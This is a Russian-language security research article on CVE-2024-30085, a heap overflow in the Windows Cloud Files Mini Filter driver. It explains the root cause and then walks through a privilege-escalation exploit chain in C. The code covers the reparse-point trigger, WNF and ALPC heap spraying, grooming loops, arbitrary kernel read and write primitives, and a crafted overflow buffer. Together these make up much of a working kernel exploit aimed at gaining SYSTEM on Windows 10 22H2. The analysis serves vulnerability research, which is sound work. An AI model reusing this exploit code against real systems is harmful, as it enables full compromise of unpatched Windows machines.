CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.
Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.
Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.
В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.
Оглавление
Минифильтры
cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.
Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.
Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:
Минифильтры, устанавливаемые антивирусным ПО (сканируют и проверяют файлы).
Минифильтры, устанавливаемые криптографическими средствами (шифруют/дешифруют файлы).
Минифильтры облачных хранилищ.
Узнать, какие минифильтры есть в системе, можно через команду fltmc.
Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.
На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.
Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.
Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на примере минифильтра miniSpy:
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
SpyPreOperationCallback,
SpyPostOperationCallback },
…Если встретите код минифильтра, колбэки нужно искать в этом массиве.
И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.
Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.
Windows Cloud Files Mini Filter
В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.
Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.
Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.
Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).
В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.
Вот так выглядит этот буфер для символьной ссылки.
А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.
Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.
Root Cause Analysis
Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.
В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:
typedef struct _ITEM {
WORD Code;
WORD Size;
DWORD Offset;
} ITEM;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
typedef struct _REPARSE_CLD_BUFFER {
DWORD Tag_pRef;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumCldItems;
ITEM Items[0xA];
BYTE ItemData0;
DWORD ItemData1;
UINT64 ItemData2;
UINT64 ItemData3;
REPARSE_CLD_BITMAP bitmap0;
REPARSE_CLD_BITMAP bitmap1;
REPARSE_CLD_BITMAP bitmap2;
UINT64 ItemData7;
UINT64 ItemData8;
DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
WORD Flags;
WORD UncompressedSize;
REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;Как видно, у Reparse Point есть поля ReparseCldBuffer.bitmap{1,2,3}, которые, в свою очередь, имеют поле ItemBtmpData4 размером 0x1000 байт. Для чего именно нужны эти битмапы, неизвестно, но для целей эксплуатации это и не требуется.
И оказалось, что, манипулируя остальными полями, можно добиться переполнения блока памяти, который выделялся под ItemBtmpData4 у любого из ReparseCldBuffer.bitmap{1,2,3}. Рассмотрим подробнее.
Аллокация 0x1000 байт и копирование ItemBtmpData4 в эту память происходят в функции HsmIBitmapNORMALOpen:
Проверка переменной bitmap_size происходит в функции HsmpBitmapIsReparseBufferSupported, и она возвращает ошибку, если размер больше чем 0x1000.
Однако в той же функции еще до проверки bitmap_size проверялось поле bitmap->ItemBtmpData2. Если оно было нулевым, то функция пропускала последующие проверки и данные оказывались валидными.
Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.
Эксплуатация
Подготовка
По умолчанию на свежей системе минифильтр Windows Cloud Files Mini Filter (CldFlt) отключен. Чтобы включить его и настроить на нужную папку, нужно воспользоваться Cloud API, а именно функцией CfRegisterSyncRoot.
#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } };
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
NTSTATUS ntRet = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!NT_SUCCESS(ntRet)) {
printf("[-] CfRegisterSyncRoot failed\n");
return false;
}
return true;
}Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.
Чтобы убедиться, что CldFlt включился, можно воспользоваться командой fltmc instances.
Далее необходимо установить для папки Reparse Point, тогда он попадет в HsmFltPostCREATE, где будет обработан и вызовет переполнение. Установить можно так:
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
ULONG returned;
BOOL status;
HANDLE hOverwrite;
hOverwrite = CreateFileW(
dir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (FAILED(hOverwrite)) {
printf("[-] trigger failed: CreateFileW\n");
}
status = DeviceIoControl(
hOverwrite,
FSCTL_SET_REPARSE_POINT,
data,
dataLength,
NULL,
0,
&returned,
NULL
);
if (!status) {
printf("[-] trigger failed: DeviceIoControl\n");
}
CloseHandle(hOverwrite);
return;
}Здесь data — это содержимое Reparse Point, dataLength — размер данных.
Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.
Craft Reparse Point
Выше приводилась структура Reparse Point, но так она должна выглядеть для нормального использования. Добавим в нее поле для данных, которые будут переполнять память. Точнее, править будем тип REPARSE_CLD_BITMAP, остальная структура останется прежней:
typedef struct _WNF_DATA {
UINT32 header;
UINT32 allocated_size;
UINT32 data_size;
UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;То есть здесь добавилось поле wnfData размером 0x10 байт.
Дело в том, что благодаря переполнению мы получаем возможность залезть в соседний c ItemBtmpData4 блок памяти. И поэтому необходимо разместить там какие-нибудь интересные объекты, переписав свойства которых мы получим примитивы на чтение и запись.
Критерии выбора объектов такие:
Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.
Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.
Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.
Наш эксплойт использует WNF и ALPC подсистемы.
У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.
Разберем по отдельности, что такое WNF и ALPC.
WNF (Windows Notification Facility)
WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.
В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.
Больше подробностей на разных ресурсах
Типы есть в этом репозитории, или их можно нагуглить через запрос 0x41C64E6DA3BC0074.
Создание объектов произвольного размера
std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;
BOOL WnfCreateChunk() {
ULONG64 ns;
WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;
SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x000000800c;
sd->Owner = NULL;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
UINT32 wnfHeaderSize = 0x10;
UINT32 wnfChunkSize = 0x1000;
UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
std::vector<UINT8> buf;
buf.reserve(wnfDataSize);
INT32 r1 = 0, r2 = 0;
r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);
g_wnfNames[g_wnfNamesIt++] = ns;
if (r1 != 0 || r2 != 0) {
printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2);
return false;
}
return true;
}Эта функция создает объект WNF_NAME_INSTANCE в ядре, ядро выдает идентификатор ns, который сохраняется в глобальном массиве g_wnfNames.
Сам объект WNF_NAME_INSTANCE имеет размер всего 0xa8, но у него есть поле WNF_STATE_DATA, у которого размер произволен и в нашем конкретном случае равен 0x1000. 0x10 байт составляют служебные поля, остальные 0xff0 — данные.
Относительные примитивы
Самые интересные поля — это AllocatedSize и DataSize.
Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.
Так как блоки памяти выделяются по случайным адресам, то, чтобы битмап встал рядом с WNF_STATE_DATA и переполнил его, понадобится очень много объектов WNF_NAME_INSTANCE. Какой-то из них будет захвачен с большой долей вероятности. Поэтому в коде присутствует массив g_wnfNames.
А ограниченные примитивы на чтение и запись выглядят так:
BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
WNF_CHANGE_STAMP stamp = 0;
INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
return r == 0;
}Здесь wnfCorrupted — это индекс объекта WNF_NAME_INSTANCE с переполненным полем WNF_STATE_DATA.
Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:
INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
WNF_CHANGE_STAMP stamp = 0;
ULONG legitBufSize = 0xff0;
ULONG delta = 0x1;
ULONG overflowenBufSize = legitBufSize + delta;
UINT32 status = 0;
std::vector<UINT8> buf;
buf.reserve(overflowenBufSize);
for (UINT32 i = 0; i < wnfNamesCount; i++) {
if (!wnfNames[i]) {
continue;
}
status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
overflowenBufSize = legitBufSize + delta;
if (status == BUFFER_TOO_SMALL) {
return i;
}
}
return -1;
}NtQueryWnfStateData возвращает данные из массива WNF_STATE_DATA.Data в буфер buf. Внутри ядра эту работу выполняет функция ExpWnfReadStateData. Если передать в NtQueryWnfStateData массив, размер которого меньше, чем WNF_STATE_DATA.Data, то сработает защита от переполнения.
На этой особенности и строится детект: объект WNF_NAME_INSTANCE, который не сможет записать данные из WNF_STATE_DATA.Data в большой буфер, — искомый.
Весь объект WNF_STATE_DATA занимает 0x1000 байт, 0x10 — это заголовок, размер данных — 0xff0. Значит, данные должны уместиться в любой буфер, размер которого >= 0xff0. Единственная причина, почему места может не хватить, — это объект WNF_STATE_DATA с DataSize > 0xff0. А такое поле есть только у искомого объекта.
В результате переполнения в WNF_STATE_DATA.DataSize будет 0xff0 + 0x10, потому что этого будет достаточно, чтобы добраться до ALPC, но об этом позже.
Удаление объектов
Удаляются объекты через функцию _NtDeleteWnfStateData:
BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
if (r != 0) {
printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex);
return false;
}
wnfNames[wnfNameIndex] = 0x0;
return true;
}Таким образом, через WNF можно:
Создавать в ядерной памяти объекты
WNF_STATE_DATAпроизвольного размера.Читать/писать до 0x1000 байт за пределами массива
WNF_STATE_DATA.Data.Удобно удалять объекты.
Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.
ALPC (Asynchronous Local Procedure Call)
ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.
Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.
Подробный разбор про сам ALPC есть, например, здесь:
https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.
Создание объектов произвольного размера
Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.
У серверного порта внутри есть таблица для входящих и исходящих сообщений.
На рисунке — тип ALPC_HANDLE_ENTRY, таблица хэндлов для сообщений. Она может быть произвольного размера, что поможет создавать блоки размером 0x1000 байт.
Каждый хэндл хранит адрес буфера, в который ядро пишет и из которого читает сообщения для сервера. Обе операции дергаются через метод NtAlpcSendWaitReceivePort. Подменив какой-либо хэндл на свой, мы получим возможность читать и писать в буфер этого хэндла.
И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно.
Получается, что нужно создать фейковый объект типа _KALPC_RESERVE и через цепочку переполнений прописать его адрес в таблице _ALPC_HANDLE_ENTRY по индексу 0, например. Попробуем это сделать.
Серверный порт создается так:
BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex);
RtlInitUnicodeString(&usPortName, wszPortName);
InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr);
if (!NT_SUCCESS(ntRet))
return FALSE;
return TRUE;
}Эта функция определяет имя порта и вызывает метод NtAlpcCreatePort, который возвращает идентификатор и сохраняет его в массиве, так как портов будет много. Причина такая же, как и в случае с WNF, — борьба с рандомизацией адресов.
Клиенты теперь могут отправлять сообщения по адресу wszPortName. На самом деле, для нас это неважно, так как клиентов не будет. Но через CVE-2024-30085 и WNF мы заставим ALPC считать, что по произвольному адресу в ядерной памяти лежит сообщение для сервера, и попросим или выдать информацию оттуда, или записать туда нашу.
Таблица _ALPC_HANDLE_ENTRY должна быть размером 0x1000 байт, и вот как заставить ядро создать ее:
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
hPort = phPorts[portIndex];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet)) {
printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet);
return FALSE;
}
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
return TRUE;
}
BOOL AlpcCreateChunk(UINT32 port_index) {
BOOL bRet;
bRet = CreateALPCPort(gports, port_index);
if (!bRet) {
printf("[-] CreateALPCPorts failed\n");
return false;
}
CONST ULONG poolAlHaSize = 0x1000;
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount);
if (!bRet) {
printf("[-] AllocateALPCReserveHandle failed\n");
return false;
}
return true;
}Таблица удваивается каждый раз, когда заканчивается место, поэтому нужно зарезервировать (0x1000 / 2 /sizeof(ULONG_PTR)) + 1 хэндлов.
Полноценный примитив на запись
Предположим, что мы создали множество портов и контролируем нулевой хэндл нулевого порта в _ALPC_HANDLE_ENTRY.
Тогда примитив на запись будет выглядеть так:
KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;
BYTE* AlpcGetFakeMessage() {
return (BYTE*)gfakeKalpcReserve;
}
void AlpcMakeFakeMessage() {
gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
}
BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
NTSTATUS ntRet;
memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
gfakeKalpcMessage->ExtensionBuffer = addr;
gfakeKalpcMessage->ExtensionBufferSize = bufSz;
ULONG DataLength = bufSz;
memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));
memcpy(pAlpcMsgData, buf, bufSz);
for (int i = 0; i < portsCount; i++) {
ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
}
return true;
}Отправка сообщения идет через метод NtAlpcSendWaitReceivePort в цикле по всем портам. Дело в том, что мы заранее не будем знать, какой порт захватили, знаем только, что он где-то там. Поэтому производится массированное обращение по всем портам.
Полноценный примитив на чтение
Вызов NtAlpcSendWaitReceivePort на чтение — блокирующий, и непонятно, как сообщить ядру, что данные готовы к отправке. Поэтому этот примитив работает по-другому — через примитив на запись и пайп:
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
BOOL bRet;
CHAR pipeName[] = "xxx";
UINT32 pipeValueOffset = 0x20;
ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8);
payload[0] = addr;
payload[1] = 0x00787878; //xxx\x00
if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) {
printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n");
//return false;
}
bRet = PipeReadAttr(pipeName, buf, bufSz);
if (!bRet) {
printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n");
return false;
}
return true;
}Схема такая:
Создается пайп с атрибутом.
Адрес значения атрибута подменяется на свой адрес.
Читая атрибут, в ответ получаем содержание адреса.
А выяснить, по какому адресу лежит пайп, можно через утечку.
ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.
LPE
Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:
Размещаем наборы из двух объектов
WNF_STATE_DATAи одногоALPC_HANDLE_ENTRYпримерно 5000 раз.Удаляем каждый первый
WNF_STATE_DATAв наборе.Размещаем битмап, который должен будет встать на одно из освободившихся мест.
Таким образом, все объекты с большой долей вероятности будут расположены рядом.
В результате через переполнение в обработке битмапа мы получаем контроль над _WNF_STATE_DATA, который позволяет переполнить лежащий за ним объект _ALPC_HANDLE_ENTRY.
В коде это выглядит так:
UINT32 portsCount = 5000;
UINT32 I;
for (i = 0; i < portsCount; i++) {
if (!WnfCreateChunk())
break;
if (!WnfCreateChunk())
break;
if (!AlpcCreateChunk(i))
break;
}
printf("[*] Created %d chunks\n", i);
if (i != portsCount) {
printf("[-] Creating chunks are failed\n");
return -1;
}
// create holes
for (UINT32 i = 4000; i < portsCount; i += 2) {
if (!WnfDeleteChunk(i)) {
return -1;
}
}Правильно заполненный Reparse Point выглядит так:
void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
pReparseDataBuffer->ReparseTag = 0x9000301a;
pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
pReparseDataBuffer->Reserved = 0x00;
pReparseDataBuffer->Flags = 0x1;
pReparseDataBuffer->UncompressedSize = 0xAA; // no matter
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
pReparseCldBuffer->Tag_pRef = 0x70526546;
pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
pReparseCldBuffer->Reserved = 0x2;
pReparseCldBuffer->NumCldItems = 0xa;
pReparseCldBuffer->Items[0].Code = 0x7;
pReparseCldBuffer->Items[0].Size = 0x1;
pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;
pReparseCldBuffer->Items[1].Code = 0xa;
pReparseCldBuffer->Items[1].Size = 0x4;
pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;
pReparseCldBuffer->Items[2].Code = 0x6;
pReparseCldBuffer->Items[2].Size = 0x8;
pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;
pReparseCldBuffer->Items[3].Code = 0x11;
pReparseCldBuffer->Items[3].Size = 0x8;
pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;
pReparseCldBuffer->Items[4].Code = 0x11;
pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;
pReparseCldBuffer->Items[5].Code = 0x11-1;
pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;
pReparseCldBuffer->Items[6].Code = 0x11-1;
pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;
pReparseCldBuffer->Items[7].Code = 0x6;
pReparseCldBuffer->Items[7].Size = 0x8;
pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;
pReparseCldBuffer->Items[8].Code = 0x6;
pReparseCldBuffer->Items[8].Size = 0x8;
pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;
pReparseCldBuffer->Items[9].Code = 0xa;
pReparseCldBuffer->Items[9].Size = 0x4;
pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;
pReparseCldBuffer->ItemData0 = 0x0; // <=1
pReparseCldBuffer->ItemData1 = 0xffffffe5;
pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}
void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
bitmap->Tag = 0x70527442;
bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
bitmap->Flags = 0x2;
bitmap->NumBtmpItems = 0x5;
bitmap->Items[0].Code = 0x7;
bitmap->Items[0].Size = 0x1;
bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;
bitmap->Items[1].Code = 0x7;
bitmap->Items[1].Size = 0x1;
bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;
bitmap->Items[2].Code = 0x7;
bitmap->Items[2].Size = 0x1;
bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;
bitmap->Items[3].Code = 0x6;
bitmap->Items[3].Size = 0x8;
bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;
bitmap->Items[4].Code = 0x11;
bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;
bitmap->ItemBtmpData0 = 0x1; // <= 1
bitmap->ItemBtmpData1 = 0x13; // <= 0x13
bitmap->ItemBtmpData2 = 0x0; // = 0
bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter
bitmap->wnfData.header = 0x00100904;
bitmap->wnfData.allocated_size = 0x2000;
bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow
bitmap->wnfData.change_stamp = 0x1;
bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}
DWORD ReparseDataBufferLength = 0x4000;
